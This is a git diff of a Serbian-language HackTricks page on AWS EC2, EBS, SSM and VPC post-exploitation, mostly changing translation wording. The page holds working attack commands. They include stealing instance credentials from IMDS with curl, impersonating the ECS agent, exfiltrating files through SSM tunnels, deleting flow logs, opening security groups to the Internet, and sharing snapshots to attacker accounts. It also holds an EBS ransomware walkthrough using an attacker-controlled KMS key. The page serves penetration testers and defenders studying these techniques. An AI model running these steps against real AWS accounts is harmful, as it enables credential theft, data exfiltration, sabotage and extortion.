diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 7a2dd9f34..06534d8d9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - EC2, EBS, SSM & VPC Post-eksploatacija +# AWS - EC2, EBS, SSM & VPC Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ Za više informacija pogledajte: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicira dolazni i odlazni saobraćaj za EC2 instances unutar VPC-a** bez potrebe za instalacijom bilo čega na samim instancama. Ovaj duplicirani saobraćaj se obično šalje nečemu poput sistema za detekciju mrežnih upada (IDS) za analizu i nadzor. Napadač bi mogao zloupotrebiti ovo da presretne sav saobraćaj i dobije osetljive informacije iz njega: +VPC traffic mirroring **duplicira dolazni i odlazni saobraćaj za EC2 instance unutar VPC-a** bez potrebe da se bilo šta instalira na samim instancama. Ovaj duplirani saobraćaj se obično šalje nečemu poput sistema za otkrivanje mrežnih upada (IDS) radi analize i nadzora.\ Napadač bi ovo mogao zloupotrebiti da presretne sav saobraćaj i dobije osetljive informacije iz njega: Za više informacija pogledajte ovu stranicu: @@ -22,7 +22,7 @@ aws-malicious-vpc-mirror.md ### Kopiranje pokrenute instance -Instances obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe u njih (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ipak, drugi način da proverite šta sadrže je da **kreirate AMI i pokrenete novu instancu (čak i u svom nalogu) iz nje**: +Instance obično sadrže neki oblik osetljivih informacija. Postoje različiti načini da se uđe (pogledajte [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Međutim, drugi način da se proveri šta sadrži je da **kreirate AMI i pokrenete novu instancu (čak i u svom nalogu) iz nje**: ```shell # List instances aws ec2 describe-images @@ -49,7 +49,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ### EBS Snapshot dump **Snapshots are backups of volumes**, koji obično sadrže **osetljive informacije**, zato njihova provera treba da otkrije te podatke.\ -Ako pronađete **volume without a snapshot** možete: **Create a snapshot** i izvršiti sledeće radnje ili jednostavno **mount it in an instance** unutar naloga: +Ako pronađete **volume without a snapshot**, možete: **Create a snapshot** i izvršiti sledeće radnje ili ga jednostavno **mount it in an instance** unutar naloga: {{#ref}} aws-ebs-snapshot-dump.md @@ -57,7 +57,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Ovo omogućava potpunu offline forenziku ili krađu podataka, a da pri tom networking instance ostane neizmenjen. +Izvezite EC2 AMI direktno u S3 koristeći `CreateStoreImageTask` da dobijete raw disk image bez snapshot sharing-a. Ovo omogućava potpunu offline forenziku ili krađu podataka, a da se mrežna konfiguracija instance ne menja. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -65,7 +65,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Korisno kada victim volume već ima Multi-Attach omogućen u istoj AZ. +Prikačite io1/io2 Multi-Attach volume na drugu instancu i mount-ujte ga read-only da biste izvukli žive podatke bez snapshot-ova. Korisno kada ciljni volume već ima Multi-Attach omogućen u istoj AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -73,7 +73,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Omogućava brze lateralne pokrete bez otvaranja javnih portova. +Kreirajte EC2 Instance Connect Endpoint, autorizujte ingress i ubacite privremene SSH ključeve za pristup privatnim instancama preko managed tunela. Omogućava brze lateralne puteve bez otvaranja javnih portova. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -81,7 +81,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Omogućava zaobilaženje unutrašnjih ACL-ova ili SG pravila koja su vezana za određene adrese. +Premestite sekundarnu privatnu IP adresu žrtvinog ENI-ja na ENI pod kontrolom napadača kako biste imitirali pouzdane hostove koji su allowlisted po IP-u. Omogućava zaobilaženje internih ACL-ova ili SG pravila vezanih za specifične adrese. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -89,7 +89,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. +Reasocirajte Elastic IP sa žrtvine instance na napadačevu kako biste presreli dolazni saobraćaj ili inicirali odlazne konekcije koje izgledaju da dolaze sa pouzdanih javnih IP-ova. {{#ref}} aws-eip-hijack-impersonation.md @@ -97,7 +97,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself. +Ako security group pravilo referencira customer-managed prefix list, dodavanje attacker CIDR-ova u listu tiho proširuje pristup kroz svako zavisno SG pravilo bez izmene samog SG. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -105,7 +105,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration. +Kreirajte gateway ili interface VPC endpoints da povratite outbound pristup iz izolovanih subnet-a. Korišćenje AWS-managed private links zaobilazi odsutne IGW/NAT kontrole za exfiltraciju podataka. {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -113,12 +113,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks. +Napadač sa dozvolom `ec2:AuthorizeSecurityGroupIngress` može dodati inbound pravila u security groups (na primer, dozvoljavajući tcp:80 sa 0.0.0.0/0), čime izlaže interne servise javnom Internetu ili drugim neautorizovanim mrežama. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -Napadač sa ec2:ReplaceNetworkAclEntry (ili sličnim) privilegijama može izmeniti subnet-ove Network ACLs (NACLs) kako bi ih učinio veoma permisivnim — na primer dozvoljavajući 0.0.0.0/0 na kritičnim portovima — izlažući ceo opseg subnet-a Internetu ili neautorizovanim mrežnim segmentima. Za razliku od Security Groups, koje se primenjuju po instanci, NACLs se primenjuju na nivou subnet-a, tako da promena restriktivnog NACL-a može imati mnogo veći blast radius omogućavajući pristup mnogo većem broju hostova. +Napadač sa dozvolama `ec2:ReplaceNetworkAclEntry` (ili sličnim) može izmeniti subnet’s Network ACLs (NACLs) da ih učini veoma permisivnim — na primer dozvoljavajući 0.0.0.0/0 na kritičnim portovima — izlažući ceo opseg podmreže Internetu ili neovlašćenim mrežnim segmentima. Za razliku od Security Groups, koje se primenjuju po instanci, NACLs se primenjuju na nivou podmreže, pa promena restriktivnog NACL može imati mnogo veći blast radius omogućavajući pristup mnogim dodatnim hosts. ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -130,16 +130,16 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -Napadač sa ec2:Delete* i iam:Remove* permisijama može obrisati kritične infrastrukturne resurse i konfiguracije — na primer key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Ovo može izazvati trenutni prekid servisa, gubitak podataka i gubitak forenzičkih dokaza. +Napadač sa dozvolama ec2:Delete* i iam:Remove* može izbrisati kritične resurse infrastrukture i konfiguracije — na primer key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. To može prouzrokovati trenutni prekid servisa, gubitak podataka i gubitak forenzičkih dokaza. -One example is deleting a security group: +Jedan primer je brisanje security group: aws ec2 delete-security-group \ --group-id ### VPC Flow Logs Cross-Account Exfiltration -Usmerite VPC Flow Logs ka S3 bucket-u koji kontroliše napadač da kontinuirano prikuplja network metadata (source/destination, ports) izvan naloga žrtve za long-term reconnaissance. +Usmerite VPC Flow Logs na S3 bucket pod kontrolom napadača da kontinuirano prikupljate mrežne metapodatke (source/destination, ports) van naloga žrtve za dugoročno izviđanje. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -149,21 +149,21 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može da izađe, on i dalje može **exfil via DNS**. +Čak i ako onemogućite izlazni saobraćaj sa EC2 instance, ona i dalje može **exfil via DNS**. -- **VPC Flow Logs will not record this**. +- **VPC Flow Logs neće ovo zabeležiti**. - Nemate pristup AWS DNS logs. -- Onemogućite ovo postavljanjem "enableDnsSupport" na false pomoću: +- Onemogućite ovo tako što ćete postaviti "enableDnsSupport" na false pomoću: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Napadač može pozvati API endpoint-e naloga kojim on upravlja. Cloudtrail će zabeležiti te pozive i napadač će moći da vidi exfiltrate data u Cloudtrail logovima. +Napadač može pozvati API endpoints naloga koji kontroliše. CloudTrail će evidentirati te pozive i napadač će moći da vidi izvučene podatke u CloudTrail logovima. ### Open Security Group -Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova ovako: +Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova na sledeći način: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC @@ -174,112 +174,116 @@ It's possible to run an EC2 instance an register it to be used to run ECS instan For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation +### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape) -Kompromitovanje bilo kog ECS taska koji radi na EC2 container instance obično je dovoljno da pivotuješ u ulogu hosta i u IAM role povezane sa svim ostalim taskovima na tom nodu. Pošto ne postoji **task isolation for ECS-on-EC2**, svaki task po defaultu može da upita EC2 Instance Metadata Service (IMDS), ukrade container instance profile, i zatim koristi isti WebSocket protokol koji ECS agent koristi prema control plane-u (primitiv **ECScape**) da zatraži kredencijale za svaki task koji je trenutno zakazan na tom hostu. Latacora je dokumentovala ovaj tok rada u njihovom [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), koji sledeći ofanzivni rezime kondenzuje. +Na ECS sa EC2 launch type-om, control plane preuzima svaki task role i šalje privremene kredencijale ECS agentu preko Agent Communication Service (ACS) WebSocket kanala. Agent zatim dostavlja te kredencijale kontejnerima putem task metadata endpoint-a (169.254.170.2). ECScape istraživanje pokazuje da ako kontejner može da dosegne IMDS i ukrade instance profile, može da se predstavi kao agent preko ACS-a i primi sve task role kredencijale na tom hostu, uključujući task execution role kredencijale koje nisu izložene preko metadata endpoint-a. #### Attack chain -1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile. +1. **Steal the container instance role from IMDS.** IMDS access is required to obtain the host role used by the ECS agent. ```bash TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ +http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} ``` -2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect. +2. **Discover the ACS poll endpoint and required identifiers.** Using the instance role credentials, call `ecs:DiscoverPollEndpoint` to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) `ecs:ListContainerInstances`. +3. **Impersonate the ECS agent over ACS.** Initiate a SigV4-signed WebSocket to the poll endpoint and include `sendCredentials=true`. ECS accepts the connection as a valid agent session and begins streaming `IamRoleCredentials` messages for **all** tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access. + +**Find the PoC in ** #### IMDS reachability with IMDSv2 + hop limit 1 -Podesavanje IMDSv2 sa `HttpTokens=required` i `HttpPutResponseHopLimit=1` blokira samo taskove koji se nalaze iza dodatnog hopa (Docker bridge). Ostali network modovi ostaju u okviru jednog hop-a od Nitro controllera i i dalje dobijaju odgovore: +Podešavanje IMDSv2 sa `HttpTokens=required` i `HttpPutResponseHopLimit=1` blokira samo taskove koji žive iza dodatnog hop-a (Docker bridge). Ostali network mode-ovi ostaju u okviru jednog hop-a od Nitro kontrolera i i dalje dobijaju odgovore: | ECS network mode | IMDS reachable? | Reason | | --- | --- | --- | -| `awsvpc` | ✅ | Svaki task dobija svoj ENI koji je još uvek jedan hop udaljen od IMDS, pa tokeni i odgovori metapodataka uspešno stignu. | -| `host` | ✅ | Taskovi dele host namespace, tako da vide istu udaljenost u hop-ovima kao EC2 instanca. | -| `bridge` | ❌ | Odgovori umiru na Docker bridge jer taj dodatni hop iscrpljuje hop limit. | +| `awsvpc` | ✅ | Svaki task dobija sopstveni ENI koji je i dalje jedan hop udaljen od IMDS-a, tako da tokeni i metadata odgovori uspešno stignu. | +| `host` | ✅ | Taskovi dele host namespace, pa vide istu udaljenost (hop) kao i EC2 instanca. | +| `bridge` | ❌ | Odgovori umiru na Docker bridge-u zato što dodatni hop iscrpljuje hop limit. | -Zato, **nikada ne pretpostavljaj da hop limit 1 štiti awsvpc ili host-mode workload-ove**—uvek testiraj iznutra, iz svojih kontejnera. +Dakle, **nikada nemojte pretpostaviti da hop limit 1 štiti awsvpc ili host-mode workload-e**—uvek testirajte iznutra kontejnera. #### Detecting IMDS blocks per network mode -- **awsvpc tasks:** Security groups, NACLs, ili podešavanja rutiranja ne mogu blokirati link-local adresu 169.254.169.254 jer je Nitro ubacuje na hostu. Proveri `/etc/ecs/ecs.config` za `ECS_AWSVPC_BLOCK_IMDS=true`. Ako je flag odsutan (podrazumevano) možeš curl-ovati IMDS direktno iz taska. Ako je postavljen, pivotuj u host/agent namespace da ga isključiš ili pokreni tooling izvan awsvpc. +- **awsvpc tasks:** Security groups, NACLs ili izmene u routingu ne mogu blokirati link-local adresu 169.254.169.254 zato što Nitro injektuje tu adresu na hostu. Proveri `/etc/ecs/ecs.config` za `ECS_AWSVPC_BLOCK_IMDS=true`. Ako je flag odsutan (podrazumevano) možeš curl-ovati IMDS direktno iz taska. Ako je postavljen, pivot-uj u host/agent namespace da ga poništiš ili pokreni alate van awsvpc. -- **bridge mode:** Kada zahtevi za metapodatke zakažu iako je hop limit 1 konfigurisan, odbrambeni tim verovatno ubacio `DOCKER-USER` drop pravilo kao npr. `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listanje `iptables -S DOCKER-USER` otkriva pravilo, a root pristup ti omogućava da obrišeš ili promeniš redosled pravila pre nego što upitaš IMDS. +- **bridge mode:** Kada metadata zahtevi ne uspevaju iako je hop limit 1 konfigurisan, odbrambene mere su verovatno ubacile `DOCKER-USER` drop pravilo kao npr. `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Lista `iptables -S DOCKER-USER` otkriva to, a root pristup ti omogućava da obrišeš ili promeniš redosled pravila pre nego što upitaš IMDS. -- **host mode:** Proveri agent konfiguraciju za `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Ta opcija potpuno uklanja task IAM role, tako da moraš ili ponovo omogućiti tu opciju, preći na awsvpc taskove, ili preuzeti kredencijale kroz neki drugi proces na hostu. Kada je vrednost `true` (podrazumevano), svaki host-mode proces—uključujući kompromitovane kontejnere—može da pristupi IMDS osim ako nisu primenjeni prilagođeni eBPF/cgroup filteri koji ciljaju `169.254.169.254`; traži tc/eBPF programe ili iptables pravila koja referenciraju tu adresu. +- **host mode:** Pregledaj agent konfiguraciju za `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Ovo podešavanje u potpunosti uklanja task IAM role, pa moraš ili da ga ponovo omogućiš, prebaciš se na awsvpc taskove, ili ukradeš kredencijale putem drugog procesa na hostu. Kada je vrednost `true` (podrazumevano), svaki proces u host-mode-u — uključujući kompromitovane kontejnere — može dosegnuti IMDS osim ako nisu postavljeni specifični eBPF/cgroup filteri usmereni na `169.254.169.254`; proveri tc/eBPF programe ili iptables pravila koja referenciraju tu adresu. -Latacora čak objavila [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) koji možeš pokrenuti u ciljnom accountu da izbrojiš koji network modovi i dalje izlažu metapodatke i prema tome isplaniraš sledeći korak. +Latacora je čak objavila [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) koju možeš ubaciti u ciljni account da izlistaš koji network mode-i još izlažu metadata i planiraš naredni potez u skladu s tim. -Kada razumeš koji modovi izlažu IMDS, možeš isplanirati svoj post-exploitation put: ciljaj bilo koji ECS task, zatraži instance profile, predstavi se kao agent i preuzmi sve ostale task role za lateralno kretanje ili persistance unutar klastera. +Kada razumeš koji mode-i izlažu IMDS, možeš isplanirati put post-exploitation-a: targetiraj bilo koji ECS task, zahtevaj instance profile, lažiraj agenta i prikupi sve ostale task role za lateralno kretanje ili persistenciju unutar klastera. -### Uklanjanje VPC flow logs +### Ukloni VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -Potrebne dozvole: +Required permissions: - `ssm:StartSession` -Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja, što se može zloupotrebiti za pivot sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. -Jedan od scenarija u kojima je ovo korisno je pivoting sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS cluster. +Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može zloupotrebiti za pivot sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. +Jedan od scenarija u kojima je ovo korisno je pivot sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS cluster. > Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html -1. Instalirajte SessionManagerPlugin na vašem računaru +1. Instalirajte SessionManagerPlugin na svom računaru 2. Prijavite se na Bastion EC2 koristeći sledeću komandu: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Nabavite privremene AWS credentials za Bastion EC2 koristeći skriptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Prebacite credentials na svoj računar u fajl `$HOME/.aws/credentials` kao profil `[bastion-ec2]` -5. Prijavite se na EKS kao Bastion EC2: +3. Nabavite privremene AWS kredencijale Bastion EC2 sa [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skriptom +4. Prebacite kredencijale na svoju mašinu u `$HOME/.aws/credentials` fajl kao profil `[bastion-ec2]` +5. Prijavite se u EKS kao Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Ažurirajte polje `server` u fajlu `$HOME/.kube/config` da ukazuje na `https://localhost` -7. Kreirajte SSM tunel na sledeći način: +6. Ažurirajte polje `server` u fajlu `$HOME/.kube/config` da pokazuje na `https://localhost` +7. Napravite SSM tunel na sledeći način: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Saobraćaj iz alata `kubectl` je sada preusmeren kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svoje mašine pokretanjem: +8. Saobraćaj sa alata `kubectl` je sada preusmeren kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svog računara pokretanjem: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. +Imajte na umu da SSL konekcije neće uspeti osim ako ne postavite zastavicu `--insecure-skip-tls-verify ` (ili njen ekvivalent u K8s audit alatima). Pošto je saobraćaj tunelovan kroz bezbedni AWS SSM tunel, zaštićeni ste od bilo koje vrste MitM napada. -Na kraju, ova tehnika nije specifična samo za napade na privatne EKS klastere. Možete podesiti proizvoljne domene i portove da pivotujete na bilo koji drugi AWS servis ili prilagođenu aplikaciju. +Na kraju, ova tehnika nije specifična za napad na privatne EKS klastere. Možete postaviti proizvoljne domene i portove da pivotujete na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju. --- -#### Brzo lokalno ↔️ udaljeno prosleđivanje portova (AWS-StartPortForwardingSession) +#### Brzo lokalno ↔️ udaljeno prosleđivanje porta (AWS-StartPortForwardingSession) -Ako treba da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host** možete koristiti `AWS-StartPortForwardingSession` SSM document (no remote host parameter required): +Ako vam je potrebno da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host**, možete koristiti `AWS-StartPortForwardingSession` SSM dokument (nije potreban parametar udaljenog hosta): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i izabranog porta (`portNumber`) na instanci **bez otvaranja bilo kojih dolaznih Security-Group pravila**. +Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i izabranog porta (`portNumber`) na instanci **bez otvaranja bilo kakvih inbound Security-Group rules**. Uobičajeni slučajevi upotrebe: * **File exfiltration** -1. Na instanci pokrenite brz HTTP server koji pokazuje na direktorijum koji želite da izvučete: +1. Na instanci pokrenite brz HTTP server koji pokazuje na direktorijum koji želite da exfiltrate: ```bash python3 -m http.server 8000 ``` -2. Sa vaše radne stanice preuzmite fajlove preko SSM tunela: +2. Sa vaše radne stanice preuzmite fajlove kroz SSM tunel: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Pristup unutrašnjim web aplikacijama (e.g. Nessus)** +* **Pristupanje internim web aplikacijama (npr. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -287,7 +291,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Savet: Compress and encrypt dokaze pre exfiltrating-a kako CloudTrail ne bi beležio clear-text content: +Savet: Kompresujte i šifrujte dokaze pre eksfiltracije kako CloudTrail ne bi zapisao nešifrovani sadržaj: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -296,19 +300,19 @@ Savet: Compress and encrypt dokaze pre exfiltrating-a kako CloudTrail ne bi bele ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Pretraživanje osetljivih informacija u javnim i privatnim AMIs +### Pretraga osetljivih informacija u javnim i privatnim AMI-ima -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **pretraživanje osetljivih informacija unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljnih AMIs, montiranja njihovih volumena i skeniranja radi pronalaska potencijalnih tajni ili osetljivih podataka. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat dizajniran za **pretragu osetljivih informacija unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljnih AMI-ova, montiranja njihovih volumena i skeniranja radi potencijalnih tajni ili osetljivih podataka. -### Deljenje EBS Snapshot +### Deljenje EBS Snapshot-a ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Proof of concept sličan Ransomware demonstraciji iz S3 post-exploitation beleški. KMS bi trebalo preimenovati u RMS (Ransomware Management Service), s obzirom na to koliko je lako koristiti ga za enkriptovanje različitih AWS servisa. +Proof of concept sličan Ransomware demonstraciji prikazanoj u S3 post-exploitation beleškama. KMS bi trebalo preimenovati u RMS (Ransomware Management Service) s obzirom na to koliko je lako koristiti ga za šifrovanje različitih AWS servisa. -Prvo, iz 'attacker' AWS naloga, kreirajte customer managed key u KMS. Za ovaj primer, pustićemo AWS da upravlja key podacima za nas, ali u realističnoј situaciji malicious actor bi zadržao key podatke van kontrole AWS-a. Promenite key policy tako da dozvoljava bilo kom AWS account Principal da koristi ključ. Za ovu key policy, ime naloga je bilo 'AttackSim', a pravilo politike koje dozvoljava potpuni pristup zove se 'Outside Encryption' +Prvo, iz 'attacker' AWS naloga, kreirajte customer managed key u KMS. Za ovaj primer pustićemo AWS da upravlja podacima ključa za nas, ali u realističnom scenariju zlonamerni akter bi zadržao podatke ključa van kontrole AWS-a. Promenite key policy tako da bilo koji AWS account Principal može koristiti ključ. Za ovu key policy, ime naloga je bilo 'AttackSim', a pravilo politike koje dozvoljava potpuni pristup zove se 'Outside Encryption'. ``` { "Version": "2012-10-17", @@ -400,7 +404,7 @@ Prvo, iz 'attacker' AWS naloga, kreirajte customer managed key u KMS. Za ovaj pr ] } ``` -Pravilo key policy mora imati sledeće omogućeno da bi se moglo koristiti za enkripciju EBS volumena: +Pravilo key policy mora imati omogućeno sledeće da bi se moglo koristiti za enkripciju EBS volumena: - `kms:CreateGrant` - `kms:Decrypt` @@ -408,21 +412,21 @@ Pravilo key policy mora imati sledeće omogućeno da bi se moglo koristiti za en - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Sada, sa javno dostupnim ključem za korišćenje. Možemo iskoristiti 'victim' nalog koji ima pokrenute neke EC2 instance sa priključenim nekriptovanim EBS volumima. EBS volumeni tog 'victim' naloga su meta naše enkripcije; ovaj napad se izvodi pod pretpostavkom kompromitovanja AWS naloga sa visokim privilegijama. +Sada, kad imamo javno dostupan key za korišćenje. Možemo koristiti 'victim' nalog koji ima pokrenute EC2 instance sa prikačenim nekriptovanim EBS volumenima. EBS volumeni ovog 'victim' naloga su meta za enkripciju; ovaj napad pretpostavlja kompromitovanje AWS naloga sa visokim privilegijama. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije prikačenih EBS volumena koristeći snapshots, koristiti javno dostupan ključ iz 'attacker' naloga da enkriptuje nove EBS volumene, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, i na kraju obrisati snapshots koji su korišćeni za kreiranje novih enkriptovanih EBS volumena. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Slično S3 ransomware primeru. Ovaj napad će napraviti kopije prikačenih EBS volumena koristeći snapshots, koristiti javno dostupan key iz 'attacker' naloga da enkriptuje nove EBS volumene, potom odvojiti originalne EBS volumene sa EC2 instanci i izbrisati ih, i na kraju obrisati snapshots koje su korišćene za kreiranje novih enkriptovanih EBS volumena. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Rezultat je da u nalogu ostanu samo enkriptovani EBS volumeni. +Rezultat je da u nalogu ostaju samo enkriptovani EBS volumeni. ![Pasted image 